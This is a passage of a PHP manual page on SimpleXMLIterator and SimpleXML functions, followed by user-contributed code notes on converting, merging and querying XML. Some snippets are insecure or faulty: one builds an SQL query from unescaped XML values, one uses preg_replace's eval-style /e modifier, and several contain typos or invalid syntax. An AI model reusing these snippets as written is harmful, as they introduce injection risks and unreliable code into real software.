)
public SimpleXMLElement::addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public SimpleXMLElement::addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public SimpleXMLElement::asXML(?string $filename = null): string|bool
public SimpleXMLElement::attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public SimpleXMLElement::children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public SimpleXMLElement::count(): int
public SimpleXMLElement::current(): SimpleXMLElement
public SimpleXMLElement::getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public SimpleXMLElement::getName(): string
public SimpleXMLElement::getNamespaces(bool $recursive = false): array
public SimpleXMLElement::getChildren(): ?SimpleXMLElement
public SimpleXMLElement::hasChildren(): bool
public SimpleXMLElement::key(): string
public SimpleXMLElement::next(): void
public SimpleXMLElement::registerXPathNamespace(string $prefix, string $namespace): bool
public SimpleXMLElement::rewind(): void
public SimpleXMLElement::__toString(): string
public SimpleXMLElement::valid(): bool
public SimpleXMLElement::xpath(string $expression): array|null|false
}

更新日志

版本 | 说明
8.0.0 | Iterator methods (SimpleXMLIterator::hasChildren(), SimpleXMLIterator::getChildren(), SimpleXMLIterator::current(), SimpleXMLIterator::key(), SimpleXMLIterator::next(),SimpleXMLIterator::rewind(), SimpleXMLIterator::valid()) were moved to SimpleXMLElement.
8.0.0 | SimpleXMLIterator implements Stringable now.

User Contributed Notes

prouchetvincent at free dot fr 10-Oct-2020 12:47
<?php
=======================================================
$index =
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <article id="8" visibility="true" filename="2020-10-08" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="7" visibility="true" filename="2020-10-07" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="6" visibility="true" filename="2020-10-02" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="5" visibility="true" filename="2020-09-30" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="4" visibility="true" filename="2020-09-26" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="3" visibility="true" filename="2020-09-22"     fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="2" visibility="true" filename="2020-09-20"     fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
        <article id="1" visibility="true" filename="hello world" fileExtension="xml">
            Hello World
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
</root>
====================================================================
?>
If you have to use an iterator to parse your XML
and need tu get an attribute of tags of this iterator then
use the fonction
->current()
of simpleXMLIterator on your object before
->attributes()->{attibute name}
<?php
$file="";
try{
     $index = new SimpleXMLIterator ( file_get_contents ( FILEDIRECTORY. 'index.xml' ) );}
catch(Exception $e) {whatever you want to do on error}}

for( $index->rewind(); $index->valid(); $index->next() ) {
    try {
          $file = file_get_contents(FILESDIRECTORY.$index->current()->attributes()->{'fileName'}. '.xml' );
    } catch (Exception $e) {whatever you want to do on error}
    $article = new Article ();
    $article->setXMLArticle ($file);
    array_push( $this->articles, $article );
    $file ="";
    }
}
?>
This exemple use a custom made Article object that itself parse the file given to him to initialise its properties .
Here we open a file (Yes I use constant for my directories)
make it a simpleXMLIterator and parse article elements to get the filename attribute to use it to open another XML file for data collection.
don't forget !!! In PHP Object created by new ClassName() are ALWAYS given by reference that is why new Article() in inside the loop and not outside
(yhea, I did that mistake)
XMLIterator are powerfull yet harder to understand in themselves but once passed that one point.
They are very more easier to use than plain arrays.
rukkykf at gmail dot com 16-Dec-2018 06:54
I think it's worth mentioning that you need to call the rewind() method on the SimpleXMLIterator object immediately after initialization before you can start doing any other operations on the object. An example:

<?php
$xml = new SimpleXMLIterator('file.xml', null, true);

// $x here will be set to null because the rewind() method has not been called
$x = $xml->current();

$xml->rewind();

// $x here will be set to the first element
$x = $xml->current();

?>
php-lover at live dot com 05-Oct-2015 09:50
Function to extract SimpleXMLElement data to array.

function extract($sxe = null) {
    if (!$sxe instanceOf SimpleXMLElement)
        return array();

    $extract = array();

    foreach ($sxe->children() as $key => $value) {
        if (array_key_exists($key, $extract)) {
            if (!isset($extract[$key][0])) {
                $tmp_extract = $extract[$key];
                $extract[$key] = array();
                $extract[$key][0] = $tmp_extract;
            } else
                $extract[$key] = (array) $extract[$key];
        }

        if ($value->count()) {
            if (isset($extract[$key]) && is_array($extract[$key]))
                $extract[$key][] = $this->extract($value);
            else
                $extract[$key] = $this->extract($value);
        } else {
            if (isset($extract[$key]) && is_array($extract[$key]))
                $extract[$key][] = empty(strval($value)) ? null : strval($value);
            else
                $extract[$key] = empty(strval($value)) ? null : strval($value);
        }
    }

    return $extract;
}
centy2010 at hotmail dot com 16-Jul-2014 03:22
I filled my database from an XML file about 1260 Kb.
I made my process less than a second. Simply by using SimpleXML.

I give you a little example of the usage to fill a database.
Given the table universe.
With 4 columns Coords, Planet_Name, Player_id, Moon_Size.

Now You have a XML file named universe.xml with this kind of data.
I enclose the data within php tags but it's a file :p
<?php
$xml = <<<EOT
<?xml version="1.0" encoding="UTF-8"?>
<universe xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" -
xsi:noNamespaceSchemaLocation="http://s127-fr.ogame.gameforge.com/api/xsd/universe.xsd" -
timestamp="1405413350" serverId="fr127">
    <planet id="1" player="1" name="Arakis" coords="1:1:2">
        <moon id="2" name="Mond" size="4998"/>
    </planet>
    <planet id="33620176" player="100000" name="GameAdmin" coords="1:1:3"/>
    <planet id="33620179" player="100003" name="Heimatplanet" coords="1:1:1"/>
    <planet id="33620186" player="100004" name="OGame Team" coords="6:250:1"/>
    <planet id="33620242" player="100058" name="KnS" coords="9:1:6">
        <moon id="33668391" name="Lune" size="8831"/>
    </planet>
</universe>
EOT;
?>

Now how to bring these data in my 4 columns table :

<?php
$newfname = $path."Universe.XML";
$mydata = new SimpleXmlIterator($newfname, 0, true);
$myquery = "INSERT INTO `".$tablename."` (`coords`,`planet_name`, `player_id`, `moon_size`) VALUES ";
for ($mydata->rewind();$mydata->valid();$mydata->next()) {
    $myquery.= " ('".$mydata->current()->attributes()['coords']
_."','".utf8_decode($mydata->current()->attributes()['name'])
_."','".utf8_decode($mydata->current()->attributes()['player'])
_."','";
    if ($mydata->haschildren()) {
        $myquery.= $mydate->current()->children()->attributes()['size']."'),";
    } else {
        $myquery.= "'),";
    }
}
$myquery = rtrim($myquery, ",");
$datatosql = mysql_query($myquery);
?>
hezll at msn dot com 11-Apr-2013 04:34
Most of the time we need to convert the XML to array or JSON , but now I have to completed the requirement of converting XML to XPath which make our template easily geting the data from XML data source due to the Xpath mapping .Here is the function:

<?php

function sxiToXpath($sxi, $key = null, &$tmp = null)
{
    $keys_arr = array();
    //get the keys count array
    for ($sxi->rewind(); $sxi->valid(); $sxi->next())
    {
        $sk = $sxi->key();
        if (array_key_exists($sk, $keys_arr))
        {
            $keys_arr[$sk]+=1;
            $keys_arr[$sk] = $keys_arr[$sk];
        }
        else
        {
            $keys_arr[$sk] = 1;
        }
    }
    //create the xpath
    for ($sxi->rewind(); $sxi->valid(); $sxi->next())
    {
        $sk = $sxi->key();
        if (!isset($$sk))
        {
            $$sk = 1;
        }
        if ($keys_arr[$sk] >= 1)
        {
            $spk = $sk . '[' . $$sk . ']';
            $keys_arr[$sk] = $keys_arr[$sk] - 1;
            $$sk++;
        }
        else
        {
            $spk = $sk;
        }
        $kp = $key ? $key . '/' . $spk : '/' . $sxi->getName() . '/' . $spk;
        if ($sxi->hasChildren())
        {
            sxiToXpath($sxi->getChildren(), $kp, $tmp);
        }
        else
        {
            $tmp[$kp] = strval($sxi->current());
        }
        $at = $sxi->current()->attributes();
        if ($at)
        {
            $tmp_kp = $kp;
            foreach ($at as $k => $v)
            {
                $kp .= '/@' . $k;
                $tmp[$kp] = $v;
                $kp = $tmp_kp;
            }
        }
    }
    return $tmp;
}

function xmlToXpath($xml)
{
    $sxi = new SimpleXmlIterator($xml);
    return sxiToXpath($sxi);
}

/**
 *  How to use the function
 */
$xml = <<<EOT
<?xml version="1.0" encoding="utf8" ?>
<data>
   <item ID="30001">
      <Company>Navarro Corp.</Company>
   </item>
   <item ID="30002" IDd="30002">
      <Company>Performant Systems</Company>
   </item>
   <item ID="30003">
      <Company id='id_test'><g id='id_g'>glove</g></Company>
   </item>
    <item>
    </item>
</data>
EOT;

$rs = xmlToXpath($xml);
print_r($rs);

/**
 * the results may lkie this:
Array
(
    [/data/item[1]/Company[1]] => Navarro Corp.
    [/data/item[1]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30001
        )
    [/data/item[2]/Company[1]] => Performant Systems
    [/data/item[2]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30002
        )

    [/data/item[2]/@IDd] => SimpleXMLIterator Object
        (
            [0] => 30002
        )

    [/data/item[3]/Company[1]/g[1]] => glove
    [/data/item[3]/Company[1]/g[1]/@id] => SimpleXMLIterator Object
        (
            [0] => id_g
        )

    [/data/item[3]/Company[1]/@id] => SimpleXMLIterator Object
        (
            [0] => id_test
        )

    [/data/item[3]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30003
        )

    [/data/item[4]] =>

)
 */

echo "Total:" . count($rs);

echo "<hr>";
/* You can check the xpath result like this */
$xml = new SimpleXMLElement($xml);
foreach ($rs as $k => $v)
{
    echo "Xpath:" . $k . " |Value:" . $v . " ";
    var_dump($xml->xpath($k));
    echo "<br>";
}
ajnsit dot NOSPAM at gmail dot com 17-Mar-2011 10:14
Here's a simple function to convert an XML string to an array -

<?php
// PHP5.3 and above only
function parse($str) {
    $f = function($iter) {
      foreach($iter as $key=>$val)
        $arr[$key][] = ($iter->hasChildren())?
          call_user_func (__FUNCTION__, $val)
          : strval($val);
      return $arr;
    };
    return $f(new SimpleXmlIterator($str, null));
}
?>

PHP 5.2 and below do not have anonymous functions.
But you can create a helper function to achieve the same thing -

<?php
  function parse($str) {
    return parseHelper(new SimpleXmlIterator($str, null));
  }
  function parseHelper($iter) {
    foreach($iter as $key=>$val)
      $arr[$key][] = ($iter->hasChildren())?
        call_user_func (__FUNCTION__, $val)
        : strval($val);
    return $arr;
  }
?>

Using it is straightforward enough -

<?php

$xml = '
<movies>
  <movie>abcd</movie>
  <movie>efgh</movie>
  <movie>hijk</movie>
</movies>';
var_dump(parse($xml));

?>

This will output -

array
  'movie' =>
    array
      0 => string 'abcd' (length=4)
      1 => string 'efgh' (length=4)
      2 => string 'hijk' (length=4)
ratfactor at gmail dot com 19-Jul-2009 05:08
The documentation is a bit sparse for SimpleXmlIterator.  Here is an example showing the use of its methods. xml2Array and sxiToArray work together to convert an XML document to an associative array structure.

The contents of cats.xml:
======================================
<cats>
  <cat>
      <name>Jack</name>
      <age>2</age>
      <color>grey</color>
      <color>white</color>
  </cat>
  <cat>
      <name>Maxwell</name>
      <age>12</age>
      <color>orange</color>
      <color>black</color>
  </cat>
</cats>
======================================

<?php
function xml2array($fname){
  $sxi = new SimpleXmlIterator($fname, null, true);
  return sxiToArray($sxi);
}

function sxiToArray($sxi){
  $a = array();
  for( $sxi->rewind(); $sxi->valid(); $sxi->next() ) {
    if(!array_key_exists($sxi->key(), $a)){
      $a[$sxi->key()] = array();
    }
    if($sxi->hasChildren()){
      $a[$sxi->key()][] = sxiToArray($sxi->current());
    }
    else{
      $a[$sxi->key()][] = strval($sxi->current());
    }
  }
  return $a;
}

// Read cats.xml and print the results:
$catArray = xml2array('cats.xml');
print_r($catArray);
?>

Results (reformatted a bit for compactness and clarity):
======================================
Array(
  [cat] => Array(
    [0] => Array(
      [name] => Array(  [0] => Jack    )
      [age] => Array(   [0] => 2       )
      [color] => Array( [0] => grey,
                        [1] => white   )
    )
    [1] => Array(
      [name] => Array(  [0] => Maxwell )
      [age] => Array(   [0] => 12      )
      [color] => Array( [0] => orange
                        [1] => black   )
    )
  )
)


SimpleXML 函数

Table of Contents

  • simplexml_import_dom — Get a SimpleXMLElement object from a DOM node
  • simplexml_load_file — Interprets an XML file into an object
  • simplexml_load_string — Interprets a string of XML into an object

User Contributed Notes

Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 08:48
After viewing the xml2array function of "http://www.php.net/manual/en/ref.simplexml.php#103617" and the "http://php.net/manual/en/ref.simplexml.php # 112038 "and still have made a change to convert empty tags to null ... I felt the need to work with the result as an object, keeping arrays like arrays. Arriving at this function:
<?php

    private function xml2Object($xmlObject, $out = null) {
        $out = (is_object($xmlObject) ? new \stdClass : array());
        foreach ((array) $xmlObject as $index => $node )
            if (is_array($out)) {
                $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
            } else
                $out->{$index} = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
        return $out;
    }
?>

And the results of function can be seen below:
<?php
    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><l1_elm1><l2_elm1>Some Text</l2_elm1><l2_elm2/></l1_elm1><l1_elm2><l2_elm1><l3_elm1>Array Index[0] - First property</l3_elm1><l3_elm2>Array Index[0] - Second property</l3_elm2><l3_elm3>Array Index[0] - Third property</l3_elm3></l2_elm1><l2_elm1><l3_elm1>Array Index[1] - First property</l3_elm1><l3_elm2>Array Index[1] - Second property</l3_elm2><l3_elm3>Array Index[1] - Third property</l3_elm3></l2_elm1></l1_elm2><l1_elm3/></results>');

    var_dump( $this->xml2Object($xml) );

    // var_dump xml2Object results
    object(stdClass)#339 (3) {
      ["l1_elm1"]=>object(stdClass)#344 (2) {
        ["l2_elm1"]=>string(9) "Some Text"
        ["l2_elm2"]=>NULL
      }
      ["l1_elm2"]=>object(stdClass)#347 (1) {
        ["l2_elm1"]=>array(2) {
          [0]=>object(stdClass)#348 (3) {
            ["l3_elm1"]=>string(31) "Array Index[0] - First property"
            ["l3_elm2"]=>string(32) "Array Index[0] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[0] - Third property"
          }
          [1]=>object(stdClass)#349 (3) {
            ["l3_elm1"]=>string(31) "Array Index[1] - First property"
            ["l3_elm2"]=>string(32) "Array Index[1] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[1] - Third property"
          }
        }
      }
      ["l1_elm3"]=>NULL
    }

    // VarDump Symphony xml2Object results something like
    object (#345) {
      +"l1_elm1": object (#339) {
        +"l2_elm1": "Some Text"
        +"l2_elm2": null
      }
      +"l1_elm2": object (#347) {
        +"l2_elm1": array(2) {
          [0] => object (#348) {
            +"l3_elm1": "Array Index[0] - First property"
            +"l3_elm2": "Array Index[0] - Second property"
            +"l3_elm3": "Array Index[0] - Third property"
          }
          [1] => object (#349) {
            +"l3_elm1": "Array Index[1] - First property"
            +"l3_elm2": "Array Index[1] - Second property"
            +"l3_elm3": "Array Index[1] - Third property"
          }
        ]
      }
      +"l1_elm3": null
    }
?>
Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 02:55
This is just a new adjustment to the http://php.net/manual/en/ref.simplexml.php#112038 's function.

Adding the check by is_array has increased the conversion to lower levels by at least 3 levels, however empty Tags are converted to SimpleXMLElement class objects, adding a type and size check, convert these empty Tags to null.

See example:
<?php
    // The http://php.net/manual/en/ref.simplexml.php#112038 's function
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? xml2array($node) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    $XML2Array = xml2array($xml);
    var_dump($xml);
    var_dump($XML2Array);

    // The result is like bellow
    // simplexml_load_string results
    object(SimpleXMLElement)#227 (1) {
      ["level1"]=>object(SimpleXMLElement)#226 (3) {
        ["l1_elm1"]=>object(SimpleXMLElement)#236 (1) {
          ["level2"]=>object(SimpleXMLElement)#238 (2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>object(SimpleXMLElement)#239 (0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>object(SimpleXMLElement)#237 (0) {}
      }
    }

    // xml2array function results
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>array(0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>array(0) {}
      }
    }
?>

Now, check node type and size, if node instanceof SimpleXMLElement and count == 0, set null to value (or empty string "" as you prefer);
<?php
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : xml2array($node)) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    var_dump(xml2array($xml));

    // And now the result is like bellow
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>NULL
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>NULL
      }
    }
?>
brandonkirsch at gmail dot com 09-Sep-2013 07:41
Contrary to other notes posted here, SimpleXML *DOES NOT* properly handle non-UTF8 encoded XML documents.

A proper "iso-8859-1" declared and encoded XML document will not parse with SimpleXML for PHP 5.2.17 or 5.5.1 when using extended characters (that is, byte values greater than 127)

DOMDocument, on the other hand, will correctly parse incoming iso-8859-1 XML documents and can also be used to perform character translation to UTF8:

$dom = new DOMDocument();

if($dom->loadXML($fileContents)){ // $fileContents is an XML document with iso-8859-1 encoding specified in the declaration
            $dom->encoding = 'utf-8'; // convert document encoding to UTF8
            return $dom->saveXML(); // return valid, utf8-encoded XML
William Fahria 15-Jul-2013 07:34
A simple implementation:
You can inform a direct XML in text format to the function.

function eoXML2Array($xmlContent, $out = array()){
    $xmlObject = is_object($xmlContent) ? $xmlContent : simplexml_load_string($xmlContent);
    foreach((array) $xmlObject as $index => $node)
        $out[$index] = ( is_object($node) || is_array($node) ) ? eoXML2Array( $node ) : $node;
    return $out;
}

Usage: $your_array = eoXML2Array(your xml text);
r dot m dot 0100101 at gmail dot com 25-Apr-2013 03:00
This is a slight adjustment to http://www.php.net/manual/en/ref.simplexml.php#103617 's function.
The function given by them would convert a simpleXML to an array but only at the highest level. Once you add the is_array check with the is_object it should convert each level to an array (well it did for me through 3 levels).

function simpleXmlObjectToArray ( $xmlObject, $out = array () )
{
    foreach ( (array) $xmlObject as $index => $node )
        $out[$index] = ( is_object ( $node ) || is_array($node) )
        ? simpleXmlObjectToArray ( $node )
        : $node;

    return $out;
}
Happy Coding!
Eric 29-Jan-2013 03:00
If the SimpleXMLObject contains an array, adding is_array() allows the function to keep digging for Objects.

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ||  is_array ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>
thomas at guenneguez dot com 14-Dec-2011 02:36
Merge two xml only with SimpleXML :
Function corrected if note containe only value.

<?php
function mergeXML(&$base, $add)
{
    if ( $add->count() != 0 )
        $new = $base->addChild($add->getName());
    else
        $new = $base->addChild($add->getName(), $add);
    foreach ($add->attributes() as $a => $b)
    {
        $new->addAttribute($a, $b);
    }
    if ( $add->count() != 0 )
    {
        foreach ($add->children() as $child)
        {
            mergeXML($new, $child);
        }
    }
}
?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
julien dot breiner at laposte dot net 09-Dec-2011 10:31
Merge two xml only with SimpleXML :

<?php
private function mergeXML(&$base, $add)
{
    $new = $base->addChild($add->getName());
    foreach ($add->attributes() as $a => $b) {
        $new[$a] = $b;
    }
    foreach ($add->children() as $child) {
        $this->mergeXML($new, $child);
    }
}?>

Use : <?php mergeXML($xmlElement, simplexml_load_string($toMerge)) ?>
k dot antczak at livedata dot pl 22-Apr-2011 01:08
A quick snippet which converts XML Object into array:

<?php
function xml2array ( $xmlObject, $out = array () )
{
        foreach ( (array) $xmlObject as $index => $node )
            $out[$index] = ( is_object ( $node ) ) ? xml2array ( $node ) : $node;

        return $out;
}
?>

Have fun! ;-)
help :-) @ theapotek :-) com 08-Apr-2011 12:54
If you are having trouble accessing CDATA in your simplexml document, you don't need to str_replace/preg_replace the CDATA out before loading it with simplexml.

You can do this instead, and all your CDATA contents will be merged into the element contents as strings.

$xml = simplexml_load_file($xmlfile,
'SimpleXMLElement', LIBXML_NOCDATA);
Andrez zenarter at hotmail dot com 16-Jul-2009 10:56
I just wanna add an additional to
"Append/combine/merge one simplexml to another"
The parent should has attributes too.

<?php

function append_simplexml(&$simplexml_to, &$simplexml_from)
{

static $firstLoop=true;

//Here adding attributes to parent
if( $firstLoop )
            {
                foreach( $simplexml_from->attributes() as $attr_key => $attr_value )
                {
                    $simplexml_to->addAttribute($attr_key, $attr_value);
                }
            }

foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

       $firstLoop=false;

        append_simplexml($simplexml_temp, $simplexml_child);
    }

unset( $firstLoop=false );
}

?>

I have aproblem to assign an object into a variable used as an object later, Then i found the code above, it solve half of my problem. I have it should have the parent name assign too but it didnt. Any better code?
Douglas Marsh 06-Jul-2009 08:53
SimpleXML is really nice for loading/converting XML data into native PHP data structures. I was considering crude searching of SVG for the width/height and since it really is an XML file... I found a SUPER easy method for parsing out the information I wanted:

<?php
// putting incomplete SVG data inline for readability
$RawXML = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:dc="http://www.example.com/dc"
   xmlns:cc="http://www.example.com/cc"
   xmlns:rdf="http://www.example.com/rdf"
   xmlns:svg="http://www.example.com/svg"
   xmlns="http://www.example.com/"
   xmlns:sodipodi="http://www.example.com/sodipodi"
   xmlns:inkscape="http://www.example.com/inkscape"
   id="svg2"
   sodipodi:version="0.32"
   inkscape:version="0.46"
   width="586.25"
   height="743.75"
   xml:space="preserve"
   sodipodi:docname="some_svg_file.svg"
   inkscape:output_extension="org.inkscape.output.svg.inkscape">
 <!-- portions removed to keep this short -->
</svg>
XML;

$svg = new SimpleXMLElement($RawXML);

$height = $svg['height'];
$width = $svg['width'];

echo "The width x height is: ${width} x ${height} \n";

?>
info at ajaxforum dot ru 17-Jun-2009 12:32
Append/combine/merge one simplexml to another:

<?php
include 'example.php';
$el1 = new SimpleXMLElement($xmlstr);
$el2 = new SimpleXMLElement($xmlstr);

// wrong way!
// php convert $el2->movie[0] to string silently
$el1->addChild('movie', $el2->movie[0]);

// wrong way!
// php 5.1 convert $el2->movie[0] to string and generate Warning: It is not yet possible to assign complex types to properties. It is not possible to assign complex types to nodes
// php 5.2 convert $el2->movie[0] to string silently
$el1->addChild('movie');
$el1->movie[2] = $el2->movie[0];

// right way!
$el1_movie = $el1->addChild('movie');
append_simplexml($el1_movie, $el2->movie[0]);

echo "<pre>"; print_r($el1); echo "</pre>";

/**
 * Add one simplexml to another
 *
 * @param object $simplexml_to
 * @param object $simplexml_from
 * @author Boris Korobkov
 * @link http://www.ajaxforum.ru/
 */
function append_simplexml(&$simplexml_to, &$simplexml_from)
{
    foreach ($simplexml_from->children() as $simplexml_child)
    {
        $simplexml_temp = $simplexml_to->addChild($simplexml_child->getName(), (string) $simplexml_child);
        foreach ($simplexml_child->attributes() as $attr_key => $attr_value)
        {
            $simplexml_temp->addAttribute($attr_key, $attr_value);
        }

        append_simplexml($simplexml_temp, $simplexml_child);
    }
}
?>
codejunky32 at NOSPAM dot com 22-May-2009 08:45
Just wanted to add a post as to how you can extract the value from a SimpleXMLElement. Its not as straightforward as you think. Because its a complex object you can't just access the element directly. Here is a sample of data that represents a var_dump of a SimpleXmlElement

array(1) {
  [0]=>
  object(SimpleXMLElement)#13 (2) {
    ["@attributes"]=>
    array(1) {
      ["name"]=>
      string(5) "title"
    }
    [0]=>
    string(19) "PHP Tech Book"
  }
}

If you want to extract the title of the book you have to cast the specified element to a string like so.
$newTitle = (string) $title[0];

The $title variable is the SimpleXMLElement that you have extracted from the xml document using simplexml_load_string for instance.  To initially access the title element from the xml document you can do like so, using xpath.
$title = $doc->xpath('str[@name="title"]');

Hope this helps someone out there.
james dot ellis at gmail dot com 28-Aug-2008 06:55
While SimpleXML is a powerful tool, developers using it to process and handle large XML documents & strings should take into careful consideration its memory usage requirements.
SimpleXML requires the entire XML tree to be available prior to any processing actions on that tree -- this requires the entire tree to be in memory. Ok for a 40kb XML file but when dealing with > 100MB files you will see performance degradation, especially if you have a busy server.

An alternative to processing large XML files is the XMLReader class, which operates in streaming mode, of which an excellent tutorial is presented here:
http://www.ibm.com/developerworks/library/x-pullparsingphp.html

XML is an incredibly verbose format. If you are dealing with large data structures, especially in web services, do you you actually need to represent the data as an XML tree? - other serialisation formats such as JSON, Serialised PHP, Google Protocol Buffers (http://code.google.com/p/protobuf/) and even CSV can remarkably reduce processing time, bandwidth and load  when dealing with large files. A 110MB XML file can become a 65MB CSV file, with the same data in it, simply because the data identifiers (tags) are only represented once in the entire document.
m0sh3 at hotmail dot com 22-May-2008 03:24
Be aware of quirks like this one:

<?php

$a = new SimpleXMLElement('<a><b/></a>');

$a->b = 'test &amp; test';
$a->c = 'test &amp; test';

print_r($a);
/*
OUTPUT:

SimpleXMLElement Object
(
    [b] => test & test
    [c] => test &amp; test
)
*/
nathan at gimpstraw dot com 05-Apr-2008 09:43
I'm using SimpleXML to process data sent back from an API request, and I ran into the CDATA problem and the error you get from html entities, and here is a solution i came up with, don't know if it's the most practical, but it's working.

<?php
$str = <<< XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<menu>
    <item>
        <title><![CDATA[Caf&eacute;]]></title>
        <description><![CDATA[Some description.]]></description>
    </item>
</menu>
XML;

$str = preg_replace("/\<\!\[CDATA\[(.*?)\]\]\>/ies", "'[CDATA]'.base64_encode('$1').'[/CDATA]'", $str);
$xml = new SimpleXMLElement($str);

// Return item title's
foreach ($xml->item as $item) {
    $tmp = (string) $item->title;
    $tmp = preg_replace("/\[CDATA\](.*?)\[\/CDATA\]/ies", "base64_decode('$1')", $tmp);
    echo $tmp;
}
?>
ngkongs at gmail dot com 19-Mar-2008 10:44
fix the function i posted before, have a wrong quote placement

function implode2($glue="", $var){
    if ($var){
        foreach ($var as $value){
            $array[]=strval($value);
        }
        return implode($glue, $array);
    }
    else return false;
}
philippe_marc_--a---t--_novartis_com 12-Feb-2008 09:46
TIP: if you run into memory issue using simpleXML.
You may want to use PHP>5.2.5 in order to avoid that: http://bugs.php.net/bug.php?id=38604
If not possible, avoid "foreach ( $xmldata->node as $node )" like calls.
andrvm 02-Jan-2008 03:01
<?php
/**
    * Remove node/nodes xml with xpath
    *
    * @param SimpleXMLElement                 $xml
    * @param string XPath                     $path
    * @param string ('one'|'child'|'all')     $multi
    *
    * Use:
    *
    * Example xml file - http://ru2.php.net/manual/ru/ref.simplexml.php
    *
    * $xml = simplexml_load_file($xmlfile);
    *
    * //1. remove only 1 node (without child nodes)
    * //   $path must return only 1 (unique) node without child nodes
    * removeNode($xml, '//movie/rating[@type="thumbs"]');
    *
    * //2. remove 1 node (with 1 child nodes)
    * //    $path can return any nodes - will be removed only first node
    * //   with all child nodes
    * removeNode($xml, '//characters', 'child')
    *
    * //3. remove all nodes (with child nodes)
    * //   $path can return any nodes - will be removed all
    * //   with child nodes
    * removeNode($xml, '//rating', 'all')
    *
    * $xml->asXML($xmlfile);
    *
    */
   function removeNode($xml, $path, $multi='one')
   {
       $result = $xml->xpath($path);

          # for wrong $path
          if (!isset($result[0])) return false;

          switch ($multi) {
              case 'all':
                    $errlevel = error_reporting(E_ALL & ~E_WARNING);
                    foreach ($result as $r) unset ($r[0]);
                    error_reporting($errlevel);
                    return true;

                case 'child':
                   unset($result[0][0]);
                   return true;

                case 'one':
                   if (count($result[0]->children())==0 && count($result)==1) {
                       unset($result[0][0]);
                       return true;
                   }

                default:
                      return false;
          }
 }
?>

p.s. after use (if deleted all nodes):
<?php

   function trimXml($xmlfile)
   {
       $dom = new DOMDocument();

          $dom->preserveWhiteSpace = false;

         if (!$dom->load($xmlfile)) return false;

         $dom->formatOutput = true;

         if (!$dom->save($xmlfile)) return false;

         return true;
   }
?>
onPHP5.com 17-Nov-2007 04:37
It does not say in the docs, but SimpleXML will convert all text into UTF-8, if the source XML declaration has another encoding. Eg, if the source has the following XML decl:

<?xml version="1.0" encoding="windows-1251" ?>

all the text in the resulting SimpleXMLElement will be in UTF-8 automatically.
lordi at msdi dot ca 23-Oct-2007 05:35
If you need to do math calculations on values extracted from simplexml document, you might need to cast the value as float to prevent precision loss. Here is an example:

<?php
